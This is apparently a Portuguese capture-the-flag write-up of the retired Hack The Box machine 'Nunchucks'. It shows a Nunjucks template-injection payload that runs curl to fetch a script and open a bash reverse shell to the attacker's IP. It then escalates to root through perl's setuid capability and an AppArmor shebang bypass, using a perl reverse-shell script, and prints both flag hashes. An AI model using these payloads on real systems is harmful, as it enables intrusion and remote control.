Hackthebox
Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:
- Server Side Template Injection em aplicações NodeJS
- Linux capabilities
- Bypass Apparmor
Recon e user flag
Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV --open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS.
Vamos adicionar o domínio que retorna no certificado ssl nunchucks.htb em nosso /etc/hosts.
E ao acessarmos novamente temos a seguinte página:
Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.
Vamos utilizar o gobuster para buscar subdomínios:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 30587 https://nunchucks.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nunchucks.htb/
Total requests: 207630
=====================================================================
ID Response Lines Word Chars Payload =====================================================================
000000193: 200 101 L 259 W 4028 Ch "store"
Localizamos o subdomínio store.nunchucks.htb, vamos adicionar em nosso /etc/hosts também. O novo subdomínio possui o seguinte conteúdo:
Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a SSTI (Server Side Template Injection):
Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para SSTI buscando execução de comandos.
No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.
Analisando as requisições e respostas através do burp suite encontramos o header X-Powered-By: Express
O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:
Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:
https://github.com/mozilla/nunjucks
Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.
Conseguimos com a seguinte requisição:
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close {"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.
Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.
Iremos criar o arquivo chamado rev.sh com o seguinte conteúdo:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
Para realizar o download basta alterarmos nosso payload da seguinte forma:
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh')")()}}"}
E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
10.129.95.252 - - [28/Jan/2024 07:57:52] "GET /rev.sh HTTP/1.1" 200 -
Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001 [07:55:13] Welcome to pwncat 🐈!
E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash /tmp/rev.sh')")()}}"}
Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001 [07:55:13] Welcome to pwncat 🐈! __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400 bind.py:84
[07:58:37] 10.129.95.252:60400: registered new host w/ db manager.py:957
(local) pwncat$ (remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
Conseguindo assim a user flag:
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K
drwxr-xr-x 3 root root 4.0K Aug 28 2021 .
drwxr-xr-x 19 root root 4.0K Oct 28 2021 ..
drwxr-xr-x 7 david david 4.0K Oct 22 2021 david
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22 2021 .
drwxr-xr-x 3 root root 4.0K Aug 28 2021 ..
lrwxrwxrwx 1 root root 9 Aug 28 2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 david david 3.7K Feb 25 2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25 2021 .cache
drwx------ 8 david david 4.0K Sep 25 2021 .config
drwx------ 3 david david 4.0K Sep 25 2021 .gnupg
drwx------ 3 david david 4.0K Sep 25 2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
-rw-r--r-- 1 david david 807 Feb 25 2020 .profile
-r--r----- 1 root david 33 Jan 27 15:28 user.txt
-rw------- 1 david david 5.0K Oct 22 2021 .viminfo
(remote) david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt 329cc9dd22d4499ac9302bb6a4ff8bab
Escalação de privilégios e root flag
Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.
O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.
Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:
-rw-rw-r-- 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep 1 2021 /opt/backup.pl
É um script feito em perl que possui o seguinte conteúdo:
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); POSIX::setuid(0); my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now"; sub printlog
{ print "[", strftime("%D %T", localtime), "] $_[0]\n";
} sub archive
{ printlog "Archiving..."; system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null"); printlog "Backup complete in $tmpbdir/backup_$now.tar";
} if ($> != 0) { die "You must run this script as root.\n";
} printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
O script realiza o backup de /var/www e salva o arquivo compactado em /opt/web_backups/.
Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.
Outro ponto, que é o mais importante do output do linpeas é o seguinte:
Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
O binário do perl possui a capabilitie cap_setuid, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).
Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o /bin/bash para criar um novo shell como root. Mas sem sucesso.
Ao alterar o comando para whoami temos sucesso:
(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta 9002 (que estamos ouvindo através do pwncat em outra aba do terminal).
A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈! __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184 bind.py:84
[13:45:32] connection failed: channel unexpectedly closed manager.py:957
(local) pwncat$
Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.
Vemos que conseguimos executar o comando id também:
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
Não obtivemos sucesso tentando executar um script ou um simples cat.
Existem regras que podem limitar a execução em binários, através do SELinux ou Apparmor. Em nosso caso é o Appamor, por se tratar de um ubuntu.
Verificando o apparmor encontramos a seguinte regra:
(remote) david@nunchucks:/etc/apparmor.d$ ls -alh
total 72K
drwxr-xr-x 7 root root 4.0K Oct 28 2021 .
drwxr-xr-x 125 root root 12K Oct 29 2021 ..
drwxr-xr-x 4 root root 4.0K Oct 28 2021 abstractions
drwxr-xr-x 2 root root 4.0K Oct 28 2021 disable
drwxr-xr-x 2 root root 4.0K Oct 28 2021 force-complain
drwxr-xr-x 2 root root 4.0K Oct 28 2021 local
-rw-r--r-- 1 root root 1.3K May 19 2020 lsb_release
-rw-r--r-- 1 root root 1.1K May 19 2020 nvidia_modprobe
-rw-r--r-- 1 root root 3.2K Mar 11 2020 sbin.dhclient
drwxr-xr-x 5 root root 4.0K Oct 28 2021 tunables
-rw-r--r-- 1 root root 3.2K Feb 25 2020 usr.bin.man
-rw-r--r-- 1 root root 442 Sep 26 2021 usr.bin.perl
-rw-r--r-- 1 root root 672 Feb 19 2020 usr.sbin.ippusbxd
-rw-r--r-- 1 root root 2.0K Jul 22 2021 usr.sbin.mysqld
-rw-r--r-- 1 root root 1.6K Feb 11 2020 usr.sbin.rsyslogd
-rw-r--r-- 1 root root 1.4K Dec 7 2019 usr.sbin.tcpdump
(remote) david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl # Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global> /usr/bin/perl { #include <abstractions/base> #include <abstractions/nameservice> #include <abstractions/perl> capability setuid, deny owner /etc/nsswitch.conf r, deny /root/* rwx, deny /etc/shadow rwx, /usr/bin/id mrix, /usr/bin/ls mrix, /usr/bin/cat mrix, /usr/bin/whoami mrix, /opt/backup.pl mrix, owner /home/ r, owner /home/david/ r, }
O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc.
Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:
- Somente determinados comandos conseguem ser executados devido ao apparmor
- Não conseguimos executar nada no diretório /root, devido ao apparmor
No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.
Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:
#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};s
E ao executar nosso script:
(remote) david@nunchucks:/home/david$ ./exp.pl
Temos o seguinte retorno em nosso pwncat:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[14:47:11] Welcome to pwncat 🐈! __main__.py:164
[14:50:31] received connection from 10.129.2.248:37982 bind.py:84
[14:50:36] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[14:50:39] 10.129.2.248:37982: registered new host w/ db manager.py:957
(local) pwncat$ (remote) root@nunchucks:/home/david# id
uid=0(root) gid=1000(david) groups=1000(david)
Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:
Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor
Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.
Com isso conseguimos nossa shell como usuário root:
(remote) root@nunchucks:/home/david# cat /root/root.txt
d24de14bd4c16c24fb1158033cafe1e9
Conseguindo assim a root flag e finalizando a máquina Nunchucks 🙂